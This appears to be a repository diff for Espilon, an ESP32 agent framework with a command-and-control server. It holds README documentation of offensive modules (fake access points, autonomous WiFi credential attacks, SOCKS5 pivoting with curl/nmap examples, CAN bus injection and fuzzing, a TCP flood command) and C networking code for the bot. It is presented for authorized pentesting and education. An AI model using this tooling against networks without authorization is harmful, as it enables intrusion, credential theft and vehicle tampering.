- Stealth : randomisation MAC, scan passif, contrôle puissance TX
### Honeypot Module
Faux services réseau qui loggent les interactions des attaquants :
- `hp_start` / `hp_stop` : Démarrer/arrêter tous les services
- Services émulés : SSH, Telnet, HTTP, FTP (ports configurables)
- `hp_wifi_mon_start` / `hp_wifi_mon_stop` : Monitor WiFi (probe, deauth, EAPOL, beacon flood)
- `hp_net_mon_start` / `hp_net_mon_stop` : Détection anomalies réseau (port scan, SYN flood)
- Tous les events remontés au C2 au format `EVT|` (dashboard honeypot C3PO)
### Tunnel Module (Proxy SOCKS5)
Proxy tunnel SOCKS5 multiplexé à travers l'ESP32. Utilise n'importe quel outil réseau (`curl`, `nmap`, `proxychains`) pour pivoter à travers le bot sur le réseau cible.
- Le SOCKS5 tourne côté C3PO (port 1080) — l'ESP32 ne gère que des frames binaires
- Jusqu'à 8 connexions TCP simultanées (configurable via Kconfig)
- Résolution DNS côté ESP32 (voit les DNS internes du réseau cible)
- Reconnexion automatique avec backoff exponentiel
- Chiffrement AEAD ChaCha20-Poly1305 par frame optionnel
**Ports C3PO** : 2626 (commandes C2) + 2627 (données tunnel) + 1080 (SOCKS5, localhost uniquement)
```bash
# Démarrer le tunnel depuis le C2
send <device_id> tun_start <c3po_ip> 2627
# Utiliser n'importe quel outil à travers le proxy
curl --socks5-hostname 127.0.0.1:1080 http://cible-interne.local
nmap -sT -Pn --proxies socks4://127.0.0.1:1080 192.168.x.0/24
```
Voir [TUNNEL.md](TUNNEL.md) pour la spécification complète du protocole et le guide de test.
### CAN Bus Module (MCP2515)
CAN bus automobile via contrôleur SPI externe MCP2515 :
- `can_start [bitrate] [mode]` : Init bus (normal/listen/loopback)
- `can_sniff [duration]` / `can_record` / `can_replay` : Capture et replay
- `can_send <id> <data>` : Injection de trame
- UDS : `can_scan_ecu`, `can_uds_read`, `can_uds_dump`, `can_uds_auth`
- OBD-II : `can_obd <pid>`, `can_obd_vin`, `can_obd_dtc`, `can_obd_monitor`
- Fuzzing : `can_fuzz_id`, `can_fuzz_data`, `can_fuzz_random`
### OTA Module
Mises à jour firmware over-the-air depuis le serveur C2 :
- Téléchargement firmware HTTPS sécurisé (fallback HTTP optionnel)
- Schéma dual partition (A/B) pour rollback sécurisé
- Reporting de progression vers le C2
---
**Configuration** : `idf.py menuconfig` → Espilon Bot Configuration → Modules
- `CONFIG_MODULE_NETWORK` : Network Module
- `CONFIG_MODULE_FAKEAP` : FakeAP Module
- `CONFIG_MODULE_RECON` : Recon Module (Camera ou BLE Trilateration)
- `CONFIG_MODULE_REDTEAM` : Red Team Module
- `CONFIG_MODULE_HONEYPOT` : Honeypot Module
- `CONFIG_MODULE_TUNNEL` : Proxy Tunnel SOCKS5 (nécessite `CONFIG_MODULE_NETWORK`)
- `CONFIG_MODULE_CANBUS` : CAN Bus Module (nécessite hardware MCP2515)
- `CONFIG_ESPILON_OTA_ENABLED` : OTA Updates
---
## Outils
### Deploy Tool
Pipeline unifié pour **build**, **provisionner** (clés crypto), et **flasher** les ESP32 :
```bash
cd tools
# Assistant interactif
python3 deploy.py
# Un seul device
python3 deploy.py -p /dev/ttyUSB0 -d mon-device \
--wifi MonSSID MonMotDePasse --srv 192.168.1.100
# Deploy batch
python3 deploy.py --config deploy.example.json
```
Chaque deploy génère une **master key 256-bit** par device, l'écrit en factory NVS, et l'enregistre dans le keystore C2 (`keys.json`).
Voir [tools/README.md](tools/README.md) pour la documentation complète (modes, batch config, OTA vs non-OTA, flash map).
### C2 Server (C3PO)
Serveur de Command & Control :
```bash
cd tools/C3PO
pip3 install -r requirements.txt
python3 c3po.py
```
Documentation complète et liste des commandes : voir [tools/C3PO/README.md](tools/C3PO/README.md).
---
## Sécurité
### Chiffrement
- **ChaCha20-Poly1305 AEAD** pour le chiffrement authentifié de toutes les communications C2
- **HKDF-SHA256** dérivation de clé (master key per-device + salt device ID)
- **Nonce aléatoire de 12 bytes** par message (RNG hardware ESP32)
- **Master keys per-device** stockées en partition factory NVS (read-only)
- **Protocol Buffers (nanoPB)** pour la sérialisation
Provisionner chaque device avec une master key unique via `tools/deploy.py`. Les clés ne sont jamais hardcodées dans le firmware.
### Usage Responsable
Espilon doit être utilisé uniquement pour :
- Tests d'intrusion **autorisés**
- Recherche en sécurité **éthique**
- Éducation et formation
- Prototypage IoT légitime
**Interdit** : Accès non autorisé, attaques malveillantes, violation de confidentialité.
---
## Cas d'Usage
### Pentest WiFi
- Audit de sécurité réseau
- Test de robustesse WPA2/WPA3
- Cartographie réseau
### IoT Security Research
- Test de devices IoT
- Analyse de protocoles
- Détection de vulnérabilités
### Éducation
- Labs de cybersécurité
- Cours d'embarqué
- CTF competitions
---
## Roadmap
### V2.0 (Complet)
- [x] Upgrade crypto ChaCha20-Poly1305 AEAD + HKDF
- [x] Provisioning per-device factory NVS
- [x] Réécriture C3PO avec crypto per-device
- [x] OTA firmware updates
- [x] Module Red Team (hunt WiFi autonome)
- [x] Module Honeypot (faux services + monitoring)
- [x] Module CAN Bus (MCP2515 — sniff, inject, UDS, OBD-II, fuzzing)
- [x] Web dashboard avec gestion devices, caméra, MLAT, OTA, CAN
- [x] Proxy tunnel SOCKS5 (pivot multiplexé à travers l'ESP32)
### Future
- [ ] Module BLE (scan, GATT enum, beacon spoofing)
- [ ] Module Sub-GHz (CC1101 — 433/868/915 MHz)
- [ ] Module BadUSB (ESP32-S2/S3 HID injection)
- [ ] PCB custom Espilon
- [ ] Support ESP32-S3/C3
- [ ] Module SDK pour extensions tierces
---
## Licence
Espilon est sous licence **MIT** avec addendum de sécurité.
Voir [LICENSE](LICENSE) pour les détails complets.
**En résumé** :
- Utilisation libre pour recherche, éducation, développement
- Modification et distribution autorisées
- **Obtenir autorisation** avant tout déploiement
- Usage malveillant strictement interdit
---
## Contributeurs
- **@Eun0us** - Core architecture, modules
- **@off-path** - C2 server, protocol
- **@itsoktocryyy** - Network features, Wall Hack
- **@wepfen** - Documentation, tools
### Contribuer
Contributions bienvenues ! Voir [CONTRIBUTING.md](CONTRIBUTING.md).
**Rejoignez-nous** :
- Rapporter des bugs
- Proposer des features
- Soumettre des PRs
- Améliorer la doc
---
## Liens Utiles
- **[Documentation complète](https://docs.espilon.net)**
- **[ESP-IDF Documentation](https://docs.espressif.com/projects/esp-idf/)**
- **[LilyGO T-Call](https://github.com/Xinyuan-LilyGO/LilyGO-T-Call-SIM800)**
- **English README** : [README.md](README.md)
---
## Support
- **Issues** : [GitHub Issues](https://github.com/Espilon-Net/Espilon-Source/issues)
- **Discussions** : [GitHub Discussions](https://github.com/Espilon-Net/Espilon-Source/discussions)
---
**Présenté initialement à Le Hack (Juin 2025)**
**Made with love for security research and education**

467
README.md
View File

@ -1,466 +1,3 @@
# Espilon # espilon-source
![Espilon Logo](assets/images/espilon-logo.jpg) ESP32 Embedded Agent Framework for Security Research
**Embedded ESP32 Agent Framework for Security Research and IoT**
[![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg)](LICENSE)
[![ESP-IDF](https://img.shields.io/badge/ESP--IDF-v5.3.2-green.svg)](https://github.com/espressif/esp-idf)
[![Platform](https://img.shields.io/badge/Platform-ESP32-red.svg)](https://www.espressif.com/en/products/socs/esp32)
> **IMPORTANT**: Espilon is intended for security research, authorized penetration testing, and education. Unauthorized use is illegal. Always obtain written permission before any deployment.
>
> **New here?** Check the [Quick Start Guide](QUICKSTART.md) — get a working C2 with a simulated device in under 5 minutes, no ESP32 required.
---
## Table of Contents
- [Full Documentation](#full-documentation)
- [Quick Start](#quick-start)
- [Prerequisites](#prerequisites)
- [Quick Installation](#quick-installation)
- [What is Espilon?](#what-is-espilon)
- [Connectivity Modes](#connectivity-modes)
- [Architecture](#architecture)
- [Key Components](#key-components)
- [Available Modules](#available-modules)
- [System Module](#system-module-built-in-always-active)
- [Network Module](#network-module)
- [FakeAP Module](#fakeap-module)
- [Recon Module](#recon-module)
- [Red Team Module](#red-team-module)
- [Honeypot Module](#honeypot-module)
- [Tunnel Module](#tunnel-module-socks5-proxy)
- [CAN Bus Module](#can-bus-module-mcp2515)
- [OTA Module](#ota-module)
- [Tools](#tools)
- [Deploy Tool](#deploy-tool)
- [C2 Server (C3PO)](#c2-server-c3po)
- [Security](#security)
- [Encryption](#encryption)
- [Responsible Use](#responsible-use)
- [Use Cases](#use-cases)
- [Roadmap](#roadmap)
- [License](#license)
- [Contributors](#contributors)
- [Useful Links](#useful-links)
- [Support](#support)
---
## Full Documentation
**[View the full documentation here](https://docs.espilon.net)**
![Documentation header](assets/images/documentation-header.png)
---
The MkDocs documentation includes:
```md
- Step-by-step installation guide
- Translate EN/FR
- WiFi and GPRS configuration
- Module and command reference
- Deploy tool guide
- C2 protocol specification
- Examples and use cases
```
---
## Quick Start
### Prerequisites
- ESP-IDF v5.3.2
- Python 3.8+
- ESP32 (any compatible model)
- LilyGO T-Call for GPRS mode (optional)
### Quick Installation
```bash
# 1. Install ESP-IDF v5.3.2
mkdir -p ~/esp
cd ~/esp
git clone -b v5.3.2 --recursive https://github.com/espressif/esp-idf.git
cd esp-idf
./install.sh esp32
. ./export.sh
# 2. Clone Espilon
cd ~
git clone https://github.com/Espilon-Net/epsilon-source.git
cd Espilon-Net/espilon_bot
# 3. Configure with menuconfig or tools/deploy.py
idf.py menuconfig
# 4. Build and flash
idf.py build
idf.py -p /dev/ttyUSB0 flash monitor
```
**Minimal configuration** (menuconfig):
```c
Espilon Bot Configuration
|- Device ID: "your_unique_id"
|- Network -> WiFi
| |- SSID: "YourWiFi"
| |- Password: "YourPassword"
|- Server
|- IP: "192.168.1.100"
|- Port: 2626
```
![menuconfig](assets/images/menuconfig.png)
---
## What is Espilon?
Espilon transforms affordable ESP32 microcontrollers (~$5) into powerful networked agents for:
- **Security research**: WiFi testing, network reconnaissance, IoT pentesting
- **Education**: Learning embedded systems, network protocols, FreeRTOS
- **IoT prototyping**: Distributed communication, monitoring, sensors
### Connectivity Modes
| Mode | Hardware | Range | Use Case |
|------|----------|-------|----------|
| **WiFi** | Standard ESP32 | 50-100m | Labs, buildings |
| **GPRS** | LilyGO T-Call | National (2G) | Mobile, remote |
---
## Architecture
```
+---------------------------------------------------------+
| ESP32 Agent |
| +-----------+ +----------+ +---------------------+ |
| | WiFi/ |->| ChaCha20 |->| C2 Protocol | |
| | GPRS |<-| Poly1305 |<-| (nanoPB/TCP) | |
| +-----------+ +----------+ +---------------------+ |
| | | | |
| +-----------------------------------------------------+|
| | Module System (FreeRTOS) ||
| | [Network] [Tunnel] [FakeAP] [Recon] [RedTeam] ||
| | [Honeypot] [CAN Bus] [OTA] [Custom...] ||
| +-----------------------------------------------------+|
+---------------------------------------------------------+
| Encrypted TCP
+---------------------+
| C2 Server (C3PO) |
| - Device Registry |
| - Group Management |
| - TUI + Web UI |
+---------------------+
```
### Key Components
- **Core**: Network connection, ChaCha20-Poly1305 AEAD + HKDF key derivation, nanoPB protocol
- **Modules**: Extensible system (Network, FakeAP, Recon, etc.)
- **C2 (C3PO)**: Python asyncio server for multi-agent control
- **Deploy**: Unified build, provision & flash pipeline (`tools/deploy.py`)
---
## Available Modules
> Modules are enabled independently via `idf.py menuconfig` → Espilon Bot Configuration → Modules. Multiple modules can be active simultaneously (subject to flash/RAM constraints).
### System Module (Built-in, always active)
Basic system commands:
- `system_reboot`: Reboot the ESP32
- `system_mem`: Display memory usage (heap free, heap min, internal free)
- `system_uptime`: Uptime since boot
- `system_info`: Chip info, SDK version, active modules
### Network Module
Network reconnaissance, testing, and SOCKS5 tunnel proxy:
- `ping <host> [args...]`: ICMP connectivity test
- `arp_scan`: Discover hosts on local network via ARP
- `dos_tcp <ip> <port> <count>`: TCP load test (authorized use only)
- `tun_start <ip> <port>`: Start SOCKS5 tunnel proxy to C3PO (requires `CONFIG_MODULE_TUNNEL`)
- `tun_stop`: Stop the tunnel
- `tun_status`: Tunnel status (channels, bytes, encryption mode)
### FakeAP Module
Simulated WiFi access points with captive portal and traffic sniffing:
- `fakeap_start <ssid> [open|wpa2] [password]`: Start a fake access point
- `fakeap_stop`: Stop the fake AP
- `fakeap_status`: Display status (AP, portal, sniffer, clients)
- `fakeap_clients`: List connected clients
- `fakeap_portal_start` / `fakeap_portal_stop`: Captive portal
- `fakeap_sniffer_on` / `fakeap_sniffer_off`: Traffic capture
### Recon Module
Reconnaissance and data collection. Two modes:
#### Camera Mode (ESP32-CAM)
- `cam_start <ip> <port>`: Start UDP video streaming (~7 FPS, QQVGA)
- `cam_stop`: Stop streaming
#### BLE Trilateration Mode
- `trilat start <mac> <url> <bearer>`: Start BLE trilateration with HTTP POST
- `trilat stop`: Stop trilateration
### Red Team Module
Autonomous WiFi hunting, credential attacks, and ESP-NOW mesh relay:
- `hunt_start [profile]`: Launch autonomous WiFi scan + attack cycle
- `hunt_stop`: Stop hunting
- `hunt_status`: Current targets, progress, captured credentials
- Stealth features: MAC randomization, passive scanning, timing jitter
- ESP-NOW mesh: multi-hop relay for out-of-range C2
### Honeypot Module
Fake network services that log attacker interactions:
- Emulated services: SSH, Telnet, HTTP, FTP (configurable ports)
- WiFi monitor: detect rogue APs and deauth attacks
- Network anomaly detection: ARP spoofing, port scanning alerts
- All events streamed to C2 with attacker fingerprints
### Tunnel Module (SOCKS5 Proxy)
Multiplexed SOCKS5 tunnel proxy through the ESP32. Use any network tool (`curl`, `nmap`, `proxychains`) to pivot through the bot onto the target network.
- SOCKS5 runs on C3PO (port 1080) — the ESP32 only handles binary frames
- Up to 8 concurrent TCP connections (configurable via Kconfig)
- DNS resolution on the ESP32 side (sees internal DNS of the target network)
- Auto-reconnect with exponential backoff if C3PO connection drops
- Optional per-frame ChaCha20-Poly1305 AEAD encryption
**C3PO ports**: 2626 (C2 commands) + 2627 (tunnel data) + 1080 (SOCKS5, localhost only)
```bash
# Start tunnel from C2
send <device_id> tun_start <c3po_ip> 2627
# Use any tool through the proxy
curl --socks5-hostname 127.0.0.1:1080 http://target-internal.local
nmap -sT -Pn --proxies socks4://127.0.0.1:1080 192.168.x.0/24
```
See [TUNNEL.md](TUNNEL.md) for full protocol specification and testing guide.
### CAN Bus Module (MCP2515)
Automotive CAN bus: sniff, inject, UDS diagnostics, OBD-II, and fuzzing via external MCP2515 SPI controller.
- `can_start [bitrate] [mode]`: Init bus (normal/listen/loopback)
- `can_sniff [duration]` / `can_record` / `can_replay`: Capture and replay
- `can_send <id> <data>`: Frame injection
- UDS: `can_scan_ecu`, `can_uds_read`, `can_uds_dump`, `can_uds_auth`
- OBD-II: `can_obd <pid>`, `can_obd_vin`, `can_obd_dtc`, `can_obd_monitor`
- Fuzzing: `can_fuzz_id`, `can_fuzz_data`, `can_fuzz_random`
See [mod_canbus documentation](espilon_bot/components/mod_canbus/README.md) for full details.
### OTA Module
Over-the-air firmware updates from C2 server:
- Secure HTTPS firmware download (optional HTTP fallback)
- Dual partition scheme (A/B) for safe rollback
- Progress reporting to C2
---
**Configuration**: `idf.py menuconfig` → Espilon Bot Configuration → Modules
- `CONFIG_MODULE_NETWORK`: Network Module
- `CONFIG_MODULE_FAKEAP`: FakeAP Module
- `CONFIG_MODULE_RECON`: Recon Module (Camera or BLE Trilateration)
- `CONFIG_MODULE_REDTEAM`: Red Team Module
- `CONFIG_MODULE_HONEYPOT`: Honeypot Module
- `CONFIG_MODULE_TUNNEL`: SOCKS5 Tunnel Proxy (requires `CONFIG_MODULE_NETWORK`)
- `CONFIG_MODULE_CANBUS`: CAN Bus Module (requires MCP2515 hardware)
- `CONFIG_ESPILON_OTA_ENABLED`: OTA Updates
---
## Tools
### Deploy Tool
Unified pipeline to **build**, **provision** (crypto keys), and **flash** ESP32 devices:
```bash
cd tools
# Interactive wizard
python3 deploy.py
# Single device
python3 deploy.py -p /dev/ttyUSB0 -d my-device \
--wifi MySSID MyPassword --srv 192.168.1.100
# Batch deploy
python3 deploy.py --config deploy.example.json
```
Each deploy generates a **256-bit master key** per device, writes it to the factory NVS partition, and registers it in the C2 keystore (`keys.json`).
See [tools/README.md](tools/README.md) for complete documentation (modes, batch config, OTA vs non-OTA, flash map).
### C2 Server (C3PO)
Command & Control server:
```bash
cd tools/C3PO
pip3 install -r requirements.txt
python3 c3po.py
```
Full C2 documentation and command list: see [tools/C3PO/README.md](tools/C3PO/README.md).
---
## Security
### Encryption
- **ChaCha20-Poly1305 AEAD** for authenticated encryption of all C2 communications
- **HKDF-SHA256** key derivation (per-device master key + device ID salt)
- **Random 12-byte nonce** per message (ESP32 hardware RNG)
- **Per-device master keys** stored in factory NVS partition (read-only)
- **Protocol Buffers (nanoPB)** for serialization
Provision each device with a unique master key using `tools/deploy.py`. Keys are never hardcoded in firmware.
### Responsible Use
Espilon should only be used for:
- **Authorized** penetration testing
- **Ethical** security research
- Education and training
- Legitimate IoT prototyping
**Prohibited**: Unauthorized access, malicious attacks, privacy violations.
---
## Use Cases
### WiFi Pentesting
- Network security auditing
- WPA2/WPA3 robustness testing
- Network mapping
### IoT Security Research
- IoT device testing
- Protocol analysis
- Vulnerability detection
### Education
- Cybersecurity labs
- Embedded systems courses
- CTF competitions
---
## Roadmap
### V2.0 (Complete)
- [x] ChaCha20-Poly1305 AEAD + HKDF crypto upgrade
- [x] Per-device factory NVS key provisioning
- [x] C3PO C2 rewrite with per-device crypto
- [x] OTA firmware updates
- [x] Red Team module (autonomous WiFi hunting)
- [x] Honeypot module (fake services + monitoring)
- [x] CAN Bus module (MCP2515 — sniff, inject, UDS, OBD-II, fuzzing)
- [x] Web dashboard with device management, camera, MLAT, OTA, CAN
- [x] SOCKS5 tunnel proxy (multiplexed pivot through ESP32)
### Future
- [ ] BLE module (scan, GATT enum, beacon spoofing)
- [ ] Sub-GHz module (CC1101 — 433/868/915 MHz)
- [ ] BadUSB module (ESP32-S2/S3 HID injection)
- [ ] Custom Espilon PCB
- [ ] ESP32-S3/C3 support
- [ ] Module SDK for third-party extensions
See [MODULE_IDEAS.md](MODULE_IDEAS.md) for the full list of planned modules.
---
## License
Espilon is licensed under **MIT** with a security addendum.
See [LICENSE](LICENSE) for full details.
**In summary**:
- Free use for research, education, development
- Modification and distribution allowed
- **Obtain authorization** before any deployment
- Malicious use strictly prohibited
---
## Contributors
- **@Eun0us** - Core architecture, modules
- **@off-path** - C2 server, protocol
- **@itsoktocryyy** - Network features, work on Mod Wall Hack
- **@wepfen** - Documentation, tools
### Contributing
Contributions welcome! See [CONTRIBUTING.md](CONTRIBUTING.md).
**Join us**:
- Report bugs
- Propose features
- Submit PRs
- Improve documentation
---
## Useful Links
- **[Full documentation](https://docs.espilon.net)**
- **[ESP-IDF Documentation](https://docs.espressif.com/projects/esp-idf/)**
- **[LilyGO T-Call](https://github.com/Xinyuan-LilyGO/LilyGO-T-Call-SIM800)**
- **French README**: [README.fr.md](README.fr.md)
---
## Support
- **Issues**: [GitHub Issues](https://github.com/Espilon-Net/Espilon-Source/issues)
- **Discussions**: [GitHub Discussions](https://github.com/Espilon-Net/Espilon-Source/discussions)
---
**Originally presented at Le Hack (June 2025)**
**Made with love for security research and education**

View File

@ -1,39 +0,0 @@
# Security Policy
## Supported Versions
| Version | Supported |
|---------|-----------|
| v0.3.x | Yes |
| < v0.3 | No |
## Reporting a Vulnerability
If you discover a security vulnerability in Espilon, please report it responsibly.
**Do NOT open a public issue.**
Send an email to: **espilon-security@proton.me**
Include:
- Description of the vulnerability
- Steps to reproduce
- Impact assessment
- Suggested fix (if any)
You will receive a response within 72 hours. We will work with you to understand and address the issue before any public disclosure.
## Scope
This policy covers:
- ESP32 firmware (`espilon_bot/`)
- C3PO control server (`tools/C3PO/`)
- Cryptographic implementation (ChaCha20-Poly1305, HKDF)
- Network protocols and command dispatch
## Responsible Disclosure
We ask that you:
- Allow reasonable time to fix the issue before public disclosure
- Do not exploit the vulnerability beyond what is necessary to demonstrate it
- Do not access or modify data belonging to others

Binary file not shown.

Before

Width:  |  Height:  |  Size: 49 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 129 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 13 KiB

View File

@ -1,8 +0,0 @@
# For more information about build system see
# https://docs.espressif.com/projects/esp-idf/en/latest/api-guides/build-system.html
# The following five lines of boilerplate have to be in your project's
# CMakeLists in this exact order for cmake to work correctly
cmake_minimum_required(VERSION 3.16)
include($ENV{IDF_PATH}/tools/cmake/project.cmake)
project(bot-lwip)

View File

@ -1,9 +0,0 @@
# TODO
```md
- Tester le mode GPRS; Faire un Post blog sur les test etc
- Structure de commandes; facile a implementer (en cas de nouvelles features)
- Test et Implementation de la features proxy sock5;
- Rework du multi Flasher;
- Rework de espilon-shell avec konsole et implémentation des modules espilon; ( en vrai ça peut attendre)
```

View File

@ -1,27 +0,0 @@
set(PRIV_REQUIRES_LIST
mbedtls
nvs_flash
lwip
mod_network
mod_fakeAP
mod_recon
mod_honeypot
mod_fallback
mod_redteam
mod_canbus
esp_timer
driver
freertos
)
idf_component_register(
SRCS "crypto.c" "process.c" "WiFi.c" "gprs.c" "messages.c" "com.c"
"command.c" "command_async.c"
"nanoPB/c2.pb.c"
"nanoPB/pb_common.c"
"nanoPB/pb_encode.c"
"nanoPB/pb_decode.c"
INCLUDE_DIRS "." "nanoPB"
PRIV_REQUIRES ${PRIV_REQUIRES_LIST}
)

View File

@ -1,498 +0,0 @@
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include "lwip/sockets.h"
#include "lwip/netdb.h"
#include "esp_log.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/timers.h"
#include "esp_wifi.h"
#include "esp_event.h"
#include "esp_netif.h"
#include "c2.pb.h"
#include "pb_decode.h"
#include "freertos/semphr.h"
#include <stdatomic.h>
#include "utils.h"
#ifdef CONFIG_MODULE_FALLBACK
#include "fb_config.h"
#include "fb_hunt.h"
#endif
int sock = -1;
SemaphoreHandle_t sock_mutex = NULL;
/* Fallback hunt flag: when true, WiFi.c skips its own reconnect logic */
atomic_bool fb_active = false;
#ifdef CONFIG_NETWORK_WIFI
static const char *TAG = "CORE_WIFI";
#define RX_BUF_SIZE 4096
#define RECONNECT_DELAY_MS 5000
#define RX_TIMEOUT_S 10
/* =========================================================
* WiFi reconnect with exponential backoff + full restart
* ========================================================= */
#define WIFI_BACKOFF_INIT_MS 1000
#define WIFI_BACKOFF_MAX_MS 30000
#define WIFI_MAX_RETRIES 10 /* full restart after N failures */
static int wifi_retry_count = 0;
static uint32_t wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
static TimerHandle_t reconnect_timer = NULL;
static void wifi_reconnect_cb(TimerHandle_t t)
{
ESP_LOGI(TAG, "Reconnect attempt %d (backoff %lums)",
wifi_retry_count + 1, (unsigned long)wifi_backoff_ms);
if (wifi_retry_count >= WIFI_MAX_RETRIES) {
ESP_LOGW(TAG, "Max retries reached — full WiFi restart");
esp_wifi_stop();
vTaskDelay(pdMS_TO_TICKS(500));
esp_wifi_start();
esp_wifi_connect();
wifi_retry_count = 0;
wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
return;
}
esp_wifi_connect();
}
/* =========================================================
* WiFi event handler backoff reconnect on disconnect
* ========================================================= */
static void wifi_event_handler(void *arg, esp_event_base_t event_base,
int32_t event_id, void *event_data)
{
if (event_base == WIFI_EVENT && event_id == WIFI_EVENT_STA_DISCONNECTED) {
wifi_event_sta_disconnected_t *evt =
(wifi_event_sta_disconnected_t *)event_data;
/* If fallback hunt is active, it handles WiFi — skip reconnect */
if (fb_active) {
ESP_LOGI(TAG, "WiFi disconnected (reason=%d, fb_active — skipping reconnect)",
evt->reason);
return;
}
#ifdef CONFIG_MODULE_FAKEAP
/* If FakeAP is active, don't reconnect STA (would interfere with AP mode) */
if (fakeap_active) {
ESP_LOGI(TAG, "WiFi disconnected (reason=%d, fakeAP active — skipping reconnect)",
evt->reason);
return;
}
#endif
ESP_LOGW(TAG, "WiFi disconnected (reason=%d), retry in %lums",
evt->reason, (unsigned long)wifi_backoff_ms);
wifi_retry_count++;
#if defined(CONFIG_FB_AUTO_HUNT) && defined(CONFIG_FB_WIFI_FAIL_THRESHOLD)
if (wifi_retry_count >= CONFIG_FB_WIFI_FAIL_THRESHOLD && !fb_active) {
ESP_LOGW(TAG, "WiFi failures >= %d — triggering fallback hunt",
CONFIG_FB_WIFI_FAIL_THRESHOLD);
extern void fb_hunt_trigger(void);
fb_hunt_trigger();
return;
}
#endif
/* Schedule reconnect with backoff */
if (reconnect_timer) {
xTimerChangePeriod(reconnect_timer,
pdMS_TO_TICKS(wifi_backoff_ms),
0);
xTimerStart(reconnect_timer, 0);
}
/* Exponential backoff: 1s → 2s → 4s → ... → 30s */
wifi_backoff_ms *= 2;
if (wifi_backoff_ms > WIFI_BACKOFF_MAX_MS)
wifi_backoff_ms = WIFI_BACKOFF_MAX_MS;
}
if (event_base == IP_EVENT && event_id == IP_EVENT_STA_GOT_IP) {
ip_event_got_ip_t *evt = (ip_event_got_ip_t *)event_data;
ESP_LOGI(TAG, "Got IP: " IPSTR, IP2STR(&evt->ip_info.ip));
/* Reset backoff on successful connection */
wifi_retry_count = 0;
wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
if (reconnect_timer)
xTimerStop(reconnect_timer, 0);
}
}
/* =========================================================
* Pause/resume reconnect (used by Red Team hunt module)
* ========================================================= */
void wifi_pause_reconnect(void)
{
if (reconnect_timer)
xTimerStop(reconnect_timer, 0);
ESP_LOGI(TAG, "WiFi reconnect paused");
}
void wifi_resume_reconnect(void)
{
wifi_retry_count = 0;
wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
ESP_LOGI(TAG, "WiFi reconnect resumed (backoff reset)");
}
/* =========================================================
* WiFi init
* ========================================================= */
void wifi_init(void)
{
ESP_ERROR_CHECK(esp_netif_init());
ESP_ERROR_CHECK(esp_event_loop_create_default());
esp_netif_create_default_wifi_sta();
esp_netif_create_default_wifi_ap();
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
ESP_ERROR_CHECK(esp_wifi_init(&cfg));
/* Reconnect timer (one-shot, started on disconnect) */
reconnect_timer = xTimerCreate("wifi_reconn", pdMS_TO_TICKS(1000),
pdFALSE, NULL, wifi_reconnect_cb);
/* Register event handlers */
ESP_ERROR_CHECK(esp_event_handler_register(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
&wifi_event_handler, NULL));
ESP_ERROR_CHECK(esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP,
&wifi_event_handler, NULL));
wifi_config_t wifi_config = {
.sta = {
.ssid = CONFIG_WIFI_SSID,
.password = CONFIG_WIFI_PASS,
},
};
ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_STA));
ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_STA, &wifi_config));
ESP_ERROR_CHECK(esp_wifi_start());
ESP_ERROR_CHECK(esp_wifi_connect());
ESP_LOGI(TAG, "Connecting to WiFi SSID=%s", CONFIG_WIFI_SSID);
}
/* =========================================================
* TCP connect
* ========================================================= */
static bool tcp_connect(void)
{
struct sockaddr_in server_addr = {0};
int new_sock = lwip_socket(AF_INET, SOCK_STREAM, 0);
if (new_sock < 0) {
ESP_LOGE(TAG, "socket() failed");
return false;
}
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(CONFIG_SERVER_PORT);
server_addr.sin_addr.s_addr = inet_addr(CONFIG_SERVER_IP);
if (lwip_connect(new_sock,
(struct sockaddr *)&server_addr,
sizeof(server_addr)) != 0) {
ESP_LOGE(TAG, "connect() failed");
lwip_close(new_sock);
return false;
}
/* Recv timeout: prevents blocking forever if C2 dies without FIN */
struct timeval tv = { .tv_sec = RX_TIMEOUT_S, .tv_usec = 0 };
lwip_setsockopt(new_sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
xSemaphoreTake(sock_mutex, portMAX_DELAY);
sock = new_sock;
xSemaphoreGive(sock_mutex);
ESP_LOGI(TAG, "Connected to %s:%d",
CONFIG_SERVER_IP,
CONFIG_SERVER_PORT);
return true;
}
/* =========================================================
* Server identity verification (challenge-response AEAD)
*
* Sends HELLO:device_id, server responds with AEAD-encrypted
* challenge. If we can decrypt it (tag OK), the server has
* the correct key and is authentic.
* ========================================================= */
#ifdef CONFIG_C2_VERIFY_SERVER
static bool server_verify(void)
{
/* 1) Send HELLO:device_id\n */
char hello[128];
snprintf(hello, sizeof(hello), "HELLO:%s\n", CONFIG_DEVICE_ID);
xSemaphoreTake(sock_mutex, portMAX_DELAY);
int s = sock;
xSemaphoreGive(sock_mutex);
if (lwip_write(s, hello, strlen(hello)) <= 0) {
ESP_LOGE(TAG, "server_verify: failed to send HELLO");
return false;
}
/* 2) Read server challenge (recv timeout already set to 10s) */
uint8_t rx_buf[256];
int len = lwip_recv(s, rx_buf, sizeof(rx_buf) - 1, 0);
if (len <= 0) {
ESP_LOGE(TAG, "server_verify: no challenge received");
return false;
}
rx_buf[len] = '\0';
/* Strip trailing newline/CR */
while (len > 0 && (rx_buf[len - 1] == '\n' || rx_buf[len - 1] == '\r'))
rx_buf[--len] = '\0';
if (len == 0) {
ESP_LOGE(TAG, "server_verify: empty challenge");
return false;
}
/* 3) Base64 decode */
size_t decoded_len = 0;
char *decoded = base64_decode((char *)rx_buf, &decoded_len);
if (!decoded || decoded_len < 28) { /* nonce(12) + tag(16) minimum */
ESP_LOGE(TAG, "server_verify: base64 decode failed");
free(decoded);
return false;
}
/* 4) Decrypt — AEAD tag verification proves server identity */
uint8_t plain[256];
int plain_len = crypto_decrypt((uint8_t *)decoded, decoded_len,
plain, sizeof(plain));
free(decoded);
if (plain_len < 0) {
ESP_LOGE(TAG, "server_verify: AEAD verification FAILED");
return false;
}
return true;
}
